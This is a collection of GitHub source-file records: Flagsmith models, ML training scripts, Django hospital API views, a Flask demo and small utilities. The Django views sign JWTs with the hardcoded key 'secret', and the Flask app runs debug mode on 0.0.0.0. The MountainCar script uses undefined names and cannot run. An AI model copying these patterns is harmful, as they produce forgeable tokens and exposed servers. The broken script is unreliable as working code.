{}\n for feature_state in environment_and_segment_feature_states:\n feature_name = feature_state.feature.name\n if (\n feature_name not in feature_states\n or feature_state > feature_states[feature_name]\n ):\n feature_states[feature_name] = feature_state\n\n identity_feature_states = self.feature_overrides\n identity_feature_names = set()\n for identity_feature_state in identity_feature_states:\n feature_name = identity_feature_state.feature.name\n feature_states[feature_name] = identity_feature_state\n identity_feature_names.add(feature_name)\n\n return list(feature_states.values()), identity_feature_names\n\n def get_feature_state_by_feature_name_or_id(\n self, feature: typing.Union[str, int]\n ) -> typing.Optional[FeatureStateModel]:\n def match_feature_state(fs):\n if isinstance(feature, int):\n return fs.feature.id == feature\n return fs.feature.name == feature\n\n feature_state = next(\n filter(\n match_feature_state,\n self._engine_identity_model.identity_features,\n ),\n None,\n )\n\n return feature_state\n\n def get_feature_state_by_featurestate_uuid(\n self, featurestate_uuid: str\n ) -> typing.Optional[FeatureStateModel]:\n return next(\n filter(\n lambda fs: str(fs.featurestate_uuid) == featurestate_uuid,\n self._engine_identity_model.identity_features,\n ),\n None,\n )\n\n def get_hash_key(self, use_identity_composite_key_for_hashing: bool) -> str:\n return self._engine_identity_model.get_hash_key(\n use_identity_composite_key_for_hashing\n )\n\n def remove_feature_override(self, feature_state: FeatureStateModel) -> None:\n with suppress(ValueError): # ignore if feature state didn't exist\n self._engine_identity_model.identity_features.remove(feature_state)\n\n def save(self, user: FFAdminUser = None, master_api_key: MasterAPIKey = None):\n self.dynamo_wrapper.put_item(self.to_document())\n changes = self._get_changes(self._initial_state)\n if changes[\"feature_overrides\"]:\n # TODO: would this be simpler if we put a wrapper around FeatureStateModel instead?\n generate_audit_log_records.delay(\n kwargs={\n \"environment_api_key\": self.environment_api_key,\n \"identifier\": self.identifier,\n \"user_id\": getattr(user, \"id\", None),\n \"changes\": changes,\n \"identity_uuid\": str(self.identity_uuid),\n \"master_api_key_id\": getattr(master_api_key, \"id\", None),\n }\n )\n self._reset_initial_state()\n\n def synchronise_features(self, valid_feature_names: typing.Collection[str]) -> None:\n identity_feature_names = {\n fs.feature.name for fs in self._engine_identity_model.identity_features\n }\n if not identity_feature_names.issubset(valid_feature_names):\n self._engine_identity_model.prune_features(list(valid_feature_names))\n sync_identity_document_features.delay(args=(str(self.identity_uuid),))\n\n def to_document(self) -> dict:\n return map_engine_identity_to_identity_document(self._engine_identity_model)\n\n def _get_changes(self, previous_instance: \"EdgeIdentity\") -> dict:\n changes = {}\n feature_changes = changes.setdefault(\"feature_overrides\", {})\n previous_feature_overrides = {\n fs.featurestate_uuid: fs for fs in previous_instance.feature_overrides\n }\n current_feature_overrides = {\n fs.featurestate_uuid: fs for fs in self.feature_overrides\n }\n\n for uuid_, previous_fs in previous_feature_overrides.items():\n current_matching_fs = current_feature_overrides.get(uuid_)\n if current_matching_fs is None:\n feature_changes[previous_fs.feature.name] = generate_change_dict(\n change_type=\"-\", identity=self, old=previous_fs\n )\n elif (\n current_matching_fs.enabled != previous_fs.enabled\n or current_matching_fs.get_value(self.id)\n != previous_fs.get_value(self.id)\n ):\n feature_changes[previous_fs.feature.name] = generate_change_dict(\n change_type=\"~\",\n identity=self,\n new=current_matching_fs,\n old=previous_fs,\n )\n\n for uuid_, previous_fs in current_feature_overrides.items():\n if uuid_ not in previous_feature_overrides:\n feature_changes[previous_fs.feature.name] = generate_change_dict(\n change_type=\"+\", identity=self, new=previous_fs\n )\n\n return changes\n\n def _reset_initial_state(self):\n self._initial_state = copy.deepcopy(self)\n","repo_name":"Flagsmith/flagsmith","sub_path":"api/edge_api/identities/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":8830,"program_lang":"python","lang":"en","doc_type":"code","stars":3272,"dataset":"github-code","pt":"31"} +{"seq_id":"42183598908","text":"\"\"\"Base config\"\"\"\nfrom dataclasses import asdict, dataclass\n\n\n@dataclass\nclass Config:\n \"\"\"Base config class.\"\"\"\n\n # Training\n batch_size: int = 32\n max_steps: int = 100000\n steps_per_checkpoint = 1000\n # Preprocessing\n max_audio_secs: int = 11\n sample_rate: int = 32000\n n_mels: int = 80\n n_fft: int = 1024\n window_length: int = 512\n hop_length: int = 256\n\n def asdict(self):\n \"\"\"Converts dataclass to dictionary.\"\"\"\n return asdict(self)\n","repo_name":"will-rice/birdclef-2022","sub_path":"birdclef/modeling/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":492,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"4051334354","text":"import argparse\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom scipy.signal import savgol_filter\nimport yaml\n\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.utils.data import DataLoader\nimport torch.optim as optim\n\n\nimport torchvision.datasets as datasets\nfrom torchvision.transforms import Compose, ToTensor, Normalize\nfrom torchvision.utils import make_grid\n\n\nfrom experiments.vae.model import Model\n\n\ndef train():\n parser = argparse.ArgumentParser(description='Generic runner for VAE models')\n parser.add_argument('--config', '-c', dest=\"filename\", metavar='FILE',\n help='path to the config file', default='vae.yaml')\n args = parser.parse_args()\n\n with open(args.filename, 'r') as f:\n try:\n config = yaml.safe_load(f)\n except yaml.YAMLError as exc:\n print(exc)\n # print(config)\n\n use_cuda = torch.cuda.is_available()\n gpu_idx = config['exp_params']['gpu']\n device = torch.device('cuda:{}'.format(gpu_idx) if use_cuda else 'cpu')\n print('Using Device:', device)\n training_data = datasets.CIFAR10(root=config['exp_params']['data_path'],\n train=True,\n download=True,\n transform=Compose([\n ToTensor(),\n Normalize((0.5, 0.5, 0.5), (1.0, 1.0, 1.0))\n ]))\n\n validation_data = datasets.CIFAR10(root=config['exp_params']['data_path'],\n train=False,\n download=True,\n transform=Compose([\n ToTensor(),\n Normalize((0.5, 0.5, 0.5), (1.0, 1.0, 1.0))\n ]))\n train_loader = DataLoader(training_data,\n batch_size=config['exp_params']['batch_size'],\n shuffle=True,\n pin_memory=True)\n val_loader = DataLoader(validation_data,\n batch_size=32,\n shuffle=True,\n pin_memory=True)\n data_variance = np.var(training_data.data / 255.0)\n model = Model(**config['model_params']).to(device)\n optimizer = optim.Adam(model.parameters(), lr=config['exp_params']['lr'])\n\n model.train()\n train_recon_errors, train_perplexities = [], []\n\n for step in range(config['exp_params']['train_steps']):\n # sampling step\n (data, _) = next(iter(train_loader))\n data = data.to(device)\n optimizer.zero_grad()\n # train step\n vq_loss, data_recon, perplexity = model(data)\n recon_error = F.mse_loss(data_recon, data) / data_variance\n loss = recon_error + vq_loss\n # update step\n loss.backward()\n optimizer.step()\n\n train_recon_errors.append(recon_error.item())\n train_perplexities.append(perplexity.item())\n\n if (step + 1) % config['exp_params']['print_interval'] == 0:\n print('%d iterations' % (step + 1))\n print('recon_error: %.3f' % np.mean(train_recon_errors[-100:]))\n print('perplexity: %.3f\\n' % np.mean(train_perplexities[-100:]))\n train_recon_error_smooth = savgol_filter(train_recon_errors, 201, 7)\n train_perplexities_smooth = savgol_filter(train_perplexities, 201, 7)\n train_results = {'errors': train_recon_error_smooth,\n 'perplexities': train_perplexities_smooth}\n torch.save(train_results, 'train_results.pt')\n torch.save(model.state_dict(), 'model_state_dict.pt')\n\n\nif __name__ == '__main__':\n train()\n","repo_name":"anican/generalization","sub_path":"experiments/vae/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":3820,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"38745116995","text":"from rest_framework import status\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\nfrom hospital.models import ProfissionaldeSaude\nfrom hospital.serializer import ProfissionaldeSaudeSerializer\nfrom rest_framework.exceptions import AuthenticationFailed\nimport jwt, datetime\n\n# Create your views here.\n\nclass ProfissionaldeSaudeViewSet(APIView):\n \n def get(self, request):\n try:\n \"\"\"Listando os profissionais por cpf\"\"\"\n if request.GET['cpf'] != '' and request.GET['cpf'] != 'undefined':\n profissional_cpf = request.GET['cpf']\n profissional = ProfissionaldeSaude.objects.get(cpf = profissional_cpf)\n profissional_serializer = ProfissionaldeSaudeSerializer(profissional)\n return Response(profissional_serializer.data)\n else:\n return Response(status=status.HTTP_400_BAD_REQUEST)\n except:\n \"\"\"Listando todas os profissionais\"\"\"\n profissional = ProfissionaldeSaude.objects.all()\n profissional_serializer = ProfissionaldeSaudeSerializer(profissional, many=True)\n return Response(profissional_serializer.data)\n\nclass SignUpProfissionalViewSet(APIView):\n def post(self, request):\n \"\"\"Cadastro um novo profissional\"\"\"\n profissional_data = request.data\n profissional_serializer = ProfissionaldeSaudeSerializer(data=profissional_data)\n if profissional_serializer.is_valid(raise_exception=True):\n profissional_serializer.save()\n return Response(\"Adicionado com sucesso!!\", status=status.HTTP_201_CREATED)\n return Response(profissional_serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\nclass DeleteProfissionalViewSet(APIView):\n def delete(self, request):\n \"\"\"Deletendo um profissional\"\"\"\n profissional_cpf = request.GET['cpf']\n profissional = ProfissionaldeSaude.objects.get(cpf = profissional_cpf)\n try:\n profissional.delete()\n return Response(\"Deletado com Sucesso!!\", status=status.HTTP_204_NO_CONTENT)\n except ProfissionaldeSaude.DoesNotExist:\n return Response(\"Usuário não existe\", status=status.HTTP_400_BAD_REQUEST)\n except Exception as e:\n return Response(e, status=status.HTTP_400_BAD_REQUEST)\n\nclass EditProfissionalViewSet(APIView):\n def put(self, request):\n \"\"\"Editando um profissional\"\"\"\n token = request.COOKIES.get('jwt')\n \n if not token:\n raise AuthenticationFailed('Não Autenticado')\n \n try:\n payload = jwt.decode(token, 'secret', algorithms=['HS256'])\n except jwt.ExpiredSignatureError:\n raise AuthenticationFailed('Não Autenticado')\n \n user = ProfissionaldeSaude.objects.get(cpf=payload['cpf'])\n serializer = ProfissionaldeSaudeSerializer(user, data=request.data)\n if serializer.is_valid():\n serializer.save()\n return Response(\"Atualizado com Sucesso!!\", status=status.HTTP_202_ACCEPTED)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\nclass LoginProfissionalViewSet(APIView):\n def post(self, request):\n \"\"\"Logando um profissional\"\"\"\n cpf = request.data['cpf']\n password = request.data['password']\n \n user = ProfissionaldeSaude.objects.filter(cpf=cpf).first()\n\n if user is None:\n raise AuthenticationFailed('Usuário não encontrado')\n \n if not user.check_password(password):\n raise AuthenticationFailed('Senha incorreta')\n \n payload = {\n 'cpf' : user.cpf,\n 'exp': datetime.datetime.utcnow() + datetime.timedelta(minutes=20),\n 'iat': datetime.datetime.utcnow()\n }\n\n token = jwt.encode(payload, 'secret', algorithm='HS256')\n\n response = Response()\n # response.set_cookie(key='jwt', value=token, httponly=True)\n response.data = {\n 'jwt': token\n }\n\n response.set_cookie(key='jwt', value=token, httponly=True)\n \n return response\n \nclass UserViewSet(APIView):\n def get(self, request):\n token = request.COOKIES.get('jwt')\n\n if not token:\n raise AuthenticationFailed('Não Autenticado')\n \n try:\n payload = jwt.decode(token, 'secret', algorithms=['HS256'])\n except jwt.ExpiredSignatureError:\n raise AuthenticationFailed('Não Autenticado')\n \n user = ProfissionaldeSaude.objects.filter(cpf=payload['cpf']).first()\n serializer = ProfissionaldeSaudeSerializer(user)\n\n return Response(serializer.data)\n\nclass LogOutProfissionalViewSet(APIView):\n def post(self, request):\n \"\"\"LogOut de um profissional\"\"\"\n response = Response()\n response.delete_cookie('jwt')\n response.data = {\n 'message': 'Sucesso'\n }\n \n return response","repo_name":"Matheusilva431/medvida","sub_path":"hospital/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5024,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"828203167","text":"# -*- encoding -*-\n\nfrom flask import Flask, session, redirect, url_for, escape, request, render_template\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef index():\n if 'username' in session:\n return 'Logged in as %s' % escape(session['username'])\n return 'You are not logged in' \n\n@app.route('/login', methods=['GET', 'POST'])\ndef login():\n if request.method == 'POST':\n session['username'] = request.form['username']\n return redirect(url_for('index'))\n return '''\n
    \n

    \n

    \n

    \n '''\n\n@app.route('/example/')\ndef example():\n return redirect(url_for('static', filename='style.css'))\n\n@app.route('/hello/')\n@app.route('/hello/')\ndef hello(name=None):\n return render_template('hello.html', name=name, css=url_for('static', filename='style.css'))\n\n@app.route('/logout')\ndef logout():\n session.pop('username', None)\n return redirect(url_for('index'))\n\nif __name__ == \"__main__\":\n app.secret_key = 'A0Zr98j/3yX R~XHH!jmN]LWX/,?RT'\n app.run(host='0.0.0.0', debug=True)\n","repo_name":"riida/flaskr","sub_path":"hello.py","file_name":"hello.py","file_ext":"py","file_size_in_byte":1152,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"5320277381","text":"with open(\"input.txt\") as f:\n raw_input = f.read().strip()\n\n\ndef count_dict(\n dot_dict,\n):\n count = 0\n for y in dot_dict:\n dot_set = set(dot_dict[y])\n count += len(dot_set)\n print(count)\n\n\ndef get_dot_dict(dots):\n dot_dict = {}\n for dot in dots:\n x, y = dot.split(\",\")\n dot_dict[y] = dot_dict.get(y, []) + [x]\n return dot_dict\n\n\ndef fold_paper(dot_dict, folds):\n final_y, final_x = 0, 0\n fold = folds[0]\n _, eq = fold.split(\"fold along \")\n dir, val = eq.split(\"=\")\n if dir == \"x\":\n final_x = int(val)\n for y in dot_dict:\n next = []\n for x in dot_dict[y]:\n if int(x) < int(val):\n next.append(int(x))\n else:\n next.append(int(val) - (int(x) - int(val)))\n dot_dict[y] = next\n else:\n final_y = int(val)\n next_dict = {}\n for key in dot_dict:\n if int(key) > int(val):\n next_y = str(int(val) - (int(key) - int(val)))\n next_dict[next_y] = dot_dict.get(next_y, []) + dot_dict[key]\n else:\n next_dict[key] = next_dict.get(key, []) + dot_dict[key]\n dot_dict = next_dict\n return (dot_dict, final_x, final_y)\n\n\ndef main(input):\n dots, folds = input.split(\"\\n\\n\")\n dots = dots.split(\"\\n\")\n folds = folds.split(\"\\n\")\n dot_dict = get_dot_dict(dots)\n final_dict, x, y = fold_paper(dot_dict, folds)\n\n count_dict(final_dict)\n\n\nmain(raw_input)\n","repo_name":"eparkhurst/AdventOfCode2021","sub_path":"day13/part1.py","file_name":"part1.py","file_ext":"py","file_size_in_byte":1523,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"15860125086","text":"def sieve_flavius0(n):\n odd_list = [i for i in range(1, n) if i % 2 == 1]\n third_list = []\n res = []\n for i, j in enumerate(odd_list):\n if ((i+1) % 3) != 0:\n third_list.append(j)\n for i, j in enumerate(third_list):\n if ((i+1) % 7) != 0:\n res.append(j)\n return res\n\n\nprint(sieve_flavius0(100))","repo_name":"maxymkuz/cs_first_semester","sub_path":"lection7_lists/labka#7.py","file_name":"labka#7.py","file_ext":"py","file_size_in_byte":346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"35174443279","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\n\n# binary traversal\n# preorder [root][left][right]\n# inorder [left][root][right]\n# postorder [left][right][root]\n\nclass Solution:\n def inorderTraversal(self, root: Optional[TreeNode]) -> List[int]:\n return self._traversal(root)\n \n def _traversal(self, curr_node, curr_list = []):\n if curr_node is None:\n return []\n \n if curr_node.left is not None:\n self._traversal(curr_node.left)\n ret_list = self.visit(curr_node, curr_list)\n if curr_node.right is not None:\n self._traversal(curr_node.right)\n \n return ret_list\n \n def visit(self, curr_node, curr_list = []):\n mylist = curr_list\n if curr_node is not None:\n mylist.append(curr_node.val)\n \n return mylist\n","repo_name":"JuneKim/algorithm","sub_path":"ProblemSolving/LeetCode/16_binary_inorder_traversal.py","file_name":"16_binary_inorder_traversal.py","file_ext":"py","file_size_in_byte":1013,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"44392301328","text":"#! /usr/bin/env python\n\nfrom distutils.core import setup, Command\n\n\ninstall_requires = ['six']\n\n\n########### platform specific stuff #############\nimport platform\nplatform_system = platform.system()\n\n# auto command dependencies to watch file-system\nif platform_system == \"Darwin\":\n install_requires.append('macfsevents')\nelif platform_system == \"Linux\":\n install_requires.append('pyinotify')\n\nscripts = ['bin/doit']\n# platform specific scripts\nif platform_system == \"Windows\":\n scripts.append('bin/doit.bat')\n\n##################################################\n\n\n# http://pytest.org/goodpractises.html\nclass PyTest(Command):\n user_options = []\n def initialize_options(self):\n pass\n def finalize_options(self):\n pass\n def run(self):\n import sys, subprocess\n errno = subprocess.call([sys.executable, 'runtests.py'])\n raise SystemExit(errno)\n\n\nlong_description = \"\"\"\n`doit` comes from the idea of bringing the power of build-tools\nto execute any kind of **task**\n\n`website/docs `_\n\"\"\"\n\nsetup(name = 'doit',\n description = 'doit - Automation Tool',\n version = '0.25.0',\n license = 'MIT',\n author = 'Eduardo Naufel Schettino',\n author_email = 'schettino72@gmail.com',\n url = 'http://pydoit.org',\n classifiers = [\n 'Development Status :: 5 - Production/Stable',\n 'Environment :: Console',\n 'License :: OSI Approved :: MIT License',\n 'Natural Language :: English',\n 'Operating System :: OS Independent',\n 'Operating System :: POSIX',\n 'Programming Language :: Python :: 2',\n 'Programming Language :: Python :: 2.6',\n 'Programming Language :: Python :: 2.7',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.2',\n 'Programming Language :: Python :: 3.3',\n 'Programming Language :: Python :: 3.4',\n 'Intended Audience :: Developers',\n 'Intended Audience :: Information Technology',\n 'Intended Audience :: Science/Research',\n 'Intended Audience :: System Administrators',\n 'Topic :: Software Development :: Build Tools',\n 'Topic :: Software Development :: Testing',\n 'Topic :: Software Development :: Quality Assurance',\n 'Topic :: Scientific/Engineering',\n ],\n\n packages = ['doit'],\n scripts = scripts,\n cmdclass = {'test': PyTest},\n install_requires = install_requires,\n long_description = long_description,\n )\n","repo_name":"pombredanne/doit.debian","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2525,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"31"} +{"seq_id":"75047490648","text":"import os\nfrom huggingface_hub import HfApi\n\n\nif __name__ == \"__main__\":\n token = os.environ[\"HUGGINGFACE_TOKEN\"]\n api = HfApi(\n token=token\n )\n api.upload_file(\n path_or_fileobj=\"NYT_Dataset.csv\",\n path_in_repo=\"NYT_Dataset.csv\",\n repo_id=\"jaimebw/nyt_dataset\",\n repo_type=\"dataset\",\n )\n","repo_name":"jaimebw/nyt_hugginface","sub_path":"upload_hg.py","file_name":"upload_hg.py","file_ext":"py","file_size_in_byte":338,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"47763342084","text":"from collections import defaultdict\n\n# datadog\nfrom datadog import api\nfrom datadog.dogshell.common import report_errors, report_warnings\n\n\nclass MetricClient(object):\n @classmethod\n def setup_parser(cls, subparsers):\n parser = subparsers.add_parser(\"metric\", help=\"Post metrics.\")\n verb_parsers = parser.add_subparsers(title=\"Verbs\", dest=\"verb\")\n verb_parsers.required = True\n\n post_parser = verb_parsers.add_parser(\"post\", help=\"Post metrics\")\n post_parser.add_argument(\"name\", help=\"metric name\")\n post_parser.add_argument(\"value\", help=\"metric value (integer or decimal value)\", type=float)\n post_parser.add_argument(\n \"--host\", help=\"scopes your metric to a specific host \" \"(default to the local host name)\", default=\"\"\n )\n post_parser.add_argument(\n \"--no_host\", help=\"no host is associated with the metric\" \" (overrides --host))\", action=\"store_true\"\n )\n post_parser.add_argument(\"--device\", help=\"scopes your metric to a specific device\", default=None)\n post_parser.add_argument(\"--tags\", help=\"comma-separated list of tags\", default=None)\n post_parser.add_argument(\n \"--localhostname\",\n help=\"deprecated, used to force `--host`\"\n \" to the local hostname \"\n \"(now default when no `--host` is specified)\",\n action=\"store_true\",\n )\n post_parser.add_argument(\n \"--type\", help=\"type of the metric - gauge(32bit float)\" \" or counter(64bit integer)\", default=None\n )\n parser.set_defaults(func=cls._post)\n\n @classmethod\n def _post(cls, args):\n \"\"\"\n Post a metric.\n \"\"\"\n # Format parameters\n api._timeout = args.timeout\n\n host = None if args.no_host else args.host\n\n if args.tags:\n tags = sorted(set([t.strip() for t in args.tags.split(\",\") if t]))\n else:\n tags = None\n\n # Submit metric\n res = api.Metric.send(\n metric=args.name, points=args.value, host=host, device=args.device, tags=tags, metric_type=args.type\n )\n\n # Report\n res = defaultdict(list, res)\n\n if args.localhostname:\n # Warn about`--localhostname` command line flag deprecation\n res[\"warnings\"].append(\n u\"`--localhostname` command line flag is deprecated, made default when no `--host` \"\n u\"is specified. See the `--host` option for more information.\"\n )\n report_warnings(res)\n report_errors(res)\n","repo_name":"DataDog/datadogpy","sub_path":"datadog/dogshell/metric.py","file_name":"metric.py","file_ext":"py","file_size_in_byte":2592,"program_lang":"python","lang":"en","doc_type":"code","stars":582,"dataset":"github-code","pt":"31"} +{"seq_id":"2900538903","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Nov 3 09:51:36 2019\n\n@author: bala\n\"\"\"\n\nimport matplotlib.pyplot as plt\nimport gym # Tested on version gym v. 0.14.0 and python v. 3.17\nimport time\nimport numpy as np\n\nimport SimpleNNagent as sNN\nimport PolicyVisualization as pv\n\n\nenv = gym.make('MountainCar-v0')\nenv.seed(42);\n\n# Print some info about the environment\nprint(\"State space (gym calls it observation space)\")\nprint(env.observation_space)\nprint(\"\\nAction space\")\nprint(env.action_space)\n\n# Parameters\nNUM_STEPS = 200\nNUM_EPISODES = 5000\nLEN_EPISODE = 200\nreward_history = []\nloss_history = []\nmax_dist = []\nfinal_position = []\n\nagent = sNN.SimpleNNagent(env)\n\n\n# =============================================================================\n# \n# max_position = -.4\n# positions = np.ndarray([0,2])\n# rewards = []\n# successful = []\n# for episode in range(1000):\n# print(f\"episode: {episode}\")\n# running_reward = 0\n# env.reset()\n# done = False\n# for i in range(200):\n# state, reward, done, _ = env.step(np.random.randint(0,3))\n# # Give a reward for reaching a new maximum position\n# if state[0] > max_position:\n# max_position = state[0]\n# positions = np.append(positions, [[episode, max_position]], axis=0)\n# running_reward += 10\n# else:\n# running_reward += reward\n# if done: \n# if state[0] >= 0.5:\n# successful.append(episode)\n# rewards.append(running_reward)\n# break\n# \n# print('Furthest Position: {}'.format(max_position))\n# plt.figure(1, figsize=[10,5])\n# plt.subplot(211)\n# plt.plot(positions[:,0], positions[:,1])\n# plt.xlabel('Episode')\n# plt.ylabel('Furthest Position')\n# plt.subplot(212)\n# plt.plot(rewards)\n# plt.xlabel('Episode')\n# plt.ylabel('Reward')\n# plt.show()\n# print('successful episodes: {}'.format(np.count_nonzero(successful)))\n# \n# =============================================================================\n\n\n# Parameters\nsteps = 200\nstate = env.reset()\nagent.epsilon= 0.3\nagent.discount = 0.99\nloss_history = []\nreward_history = []\nepisodes = 1000\nmax_position = -0.4\nagent.learningRate = 0.001\nsuccesses = 0\nposition = []\n\nfor episode in trange(episodes):\n episode_loss = 0\n episode_reward = 0\n state = env.reset()\n\n for s in range(steps):\n if episode % 100 == 0 and episode > 0:\n env.render()\n \n action = agent.getTrainAction(state)\n \n state_1, reward, done, _ = env.step(action)\n \n # Adjust reward based on car position\n reward = state_1[0] + 0.5\n \n # Keep track of max position\n if state_1[0] > max_position:\n max_position = state_1[0]\n writer.add_scalar('data/max_position', max_position, episode)\n \n # Adjust reward for task completion\n if state_1[0] >= 0.5:\n reward += 1\n \n # Find max Q for t+1 state\n Q1 = policy(Variable(torch.from_numpy(state_1).type(torch.FloatTensor)))\n maxQ1, _ = torch.max(Q1, -1)\n \n # Create target Q value for training the policy\n Q_target = Q.clone()\n Q_target = Variable(Q_target)\n Q_target[action] = reward + torch.mul(maxQ1.detach(), gamma)\n \n # Calculate loss\n loss = loss_fn(Q, Q_target)\n \n # Update policy\n policy.zero_grad()\n loss.backward()\n optimizer.step()\n\n episode_loss += loss.item()\n episode_reward += reward\n \n if done:\n if state_1[0] >= 0.5:\n # On successful epsisodes, adjust the following parameters\n\n # Adjust epsilon\n epsilon *= .95\n writer.add_scalar('data/epsilon', epsilon, episode)\n\n # Adjust learning rate\n scheduler.step()\n #optimizer.param_groups[0]['lr'] = max(optimizer.param_groups[0]['lr'], 1.0e-4)\n writer.add_scalar('data/learning_rate', optimizer.param_groups[0]['lr'], episode)\n\n # Record successful episode\n successes += 1\n writer.add_scalar('data/cumulative_success', successes, episode)\n writer.add_scalar('data/success', 1, episode)\n \n elif state_1[0] < 0.5:\n writer.add_scalar('data/success', 0, episode)\n \n # Record history\n loss_history.append(episode_loss)\n reward_history.append(episode_reward)\n writer.add_scalar('data/episode_loss', episode_loss, episode)\n writer.add_scalar('data/episode_reward', episode_reward, episode)\n weights = np.sum(np.abs(policy.l2.weight.data.numpy()))+np.sum(np.abs(policy.l1.weight.data.numpy()))\n writer.add_scalar('data/weights', weights, episode)\n writer.add_scalar('data/position', state_1[0], episode)\n position.append(state_1[0])\n\n break\n else:\n state = state_1\n \nwriter.close()\nprint('successful episodes: {:d} - {:.4f}%'.format(successes, successes/episodes*100))\n","repo_name":"bsaisudh/MountainCar","sub_path":"Test.py","file_name":"Test.py","file_ext":"py","file_size_in_byte":5182,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"8997146919","text":"import os.path\nimport pickle\nimport numpy as np\nfrom sklearn.preprocessing import LabelBinarizer\nfrom sklearn.preprocessing import scale\n\n# Simple class to manage creating a dataset from a comma delimited file\nclass FileLoader(object):\n\n def __init__(self, savename, csvfile, delimiter):\n\n self.savename = savename + \".data\"\n self.delimiter = delimiter\n self.data = None\n\n # If a saved data file already exists just load that instead of processing ingestion again.\n if self.check_exist(self.savename):\n with open(self.savename, 'rb') as handle:\n return pickle.load(handle)\n else:\n self.data = self.ingest(csvfile)\n with open(self.savename, 'wb') as handle:\n pickle.dump(self, handle)\n\n\n # Check if saved data array already exists.\n def check_exist(self, savename):\n os.path.isfile(savename)\n\n def ingest(self, csvfile):\n\n rows = []\n\n with open(csvfile, 'r') as readfile:\n\n header = readfile.readline() # Skipping first header line\n\n for line in readfile:\n rows.append(self.extract(line))\n\n return self.trawl(np.array(rows))\n\n\n # Data wide transformations, like scaling or standardization\n def trawl(self, data): raise NotImplementedError\n\n # There needs to be a method to correctly extract rows from the raw file lines.\n # This can return a list or a numpy array\n def extract(self, row): raise NotImplementedError\n\n\n# File loader specific to the HMDA dataset\nclass HMDALoader(FileLoader):\n\n # Constructor takes the base csvfile as well as a list of fields you want to look at.\n def __init__(self, savename, csvfile, delimiter, feature_fields, labelfield):\n\n self.delimiter = delimiter\n\n if labelfield in feature_fields:\n raise AttributeError(\"Predicted label shouldn't be in your feature fields\")\n\n self.features = feature_fields\n self.label = labelfield\n # Build a logical index of all the headers that were chosen for easy retrieval of correct fields later\n with open(csvfile, 'r') as readfile:\n self.header = readfile.readline().strip().split(self.delimiter)\n self.headerindex = np.zeros([len(self.header)]).astype('bool')\n self.labelindex = np.zeros([len(self.header)]).astype('bool')\n try:\n for field in feature_fields:\n self.headerindex[self.header.index(field)] = 1\n\n self.labelindex[self.header.index(labelfield)] = 1\n\n except ValueError:\n raise ValueError(\"Make sure your field strings are correct.\")\n\n super(HMDALoader, self).__init__(savename, csvfile, delimiter)\n\n\n\n\n\n\n# The specific loader I'm using for this problem.\n# Here is where I bound my features and transform them into vectors appropriate for my modeling approach.\n# I'm also adding a date index to let me explore some hypotheses about time...\nclass WayneLoanApprovalLoader(HMDALoader):\n\n def __init__(self, savename, csvfile, feature_fields_map = None):\n\n delimiter = \"\\t\" # Assuming I'm using a .tsv file\n\n # Defining a map that creates binary labels from 'action_taken'\n self.label_collapse_map = {\"Application approved but not accepted\" : 1,\n \"Application denied by financial institution\" : 0,\n \"Loan originated\" : 1,\n \"Preapproval request denied by financial institution\" : 0\n }\n\n # holder state for items that are useful for feature importance tasks\n self.features_to_vector_idx = {}\n self.categoricals = {}\n self.vector_headers = None\n\n # Important val for indexing based on time.\n self.date_column = []\n\n # typing map from fields to types I want to transform to\n if feature_fields_map is None:\n self.feature_fields_map = {\"tract_to_msamd_income\" : 'indicator',\n \"rate_spread\" : 'indicator',\n \"population\" : 'indicator',\n \"minority_population\" : 'indicator',\n \"number_of_owner_occupied_units\" : 'indicator',\n \"number_of_1_to_4_family_units\" : 'indicator',\n \"loan_amount_000s\" : 'indicator',\n \"hud_median_family_income\" : 'indicator',\n \"applicant_income_000s\" : 'indicator',\n \"property_type_name\" : 'categorical',\n \"preapproval_name\" : 'categorical',\n \"owner_occupancy_name\" : 'categorical',\n \"loan_type_name\" : 'categorical',\n \"lien_status_name\" : 'categorical',\n \"hoepa_status_name\" : 'categorical',\n \"co_applicant_sex_name\" : 'categorical',\n \"co_applicant_race_name_1\" : 'categorical',\n \"co_applicant_ethnicity_name\" : 'categorical',\n \"applicant_sex_name\" : 'categorical',\n \"applicant_race_name_1\" : 'categorical',\n \"applicant_ethnicity_name\" : 'categorical',\n \"agency_name\" : 'categorical'}\n else:\n self.feature_fields_map = feature_fields_map\n\n labelfield = \"action_taken_name\"\n\n super(WayneLoanApprovalLoader, self).__init__(savename, csvfile, delimiter, list(self.feature_fields_map.keys()), labelfield)\n\n # For my very specific use case, the field specific transforms I want to apply are in here.\n def trawl(self, data):\n\n def getColumnsNum(chunks):\n\n if chunks is None:\n return 0\n else:\n return chunks.shape[1] - 1\n\n\n chunks = None # I'll be making submatrices here that I'll stitch together at the very end.\n\n # Python doesn't 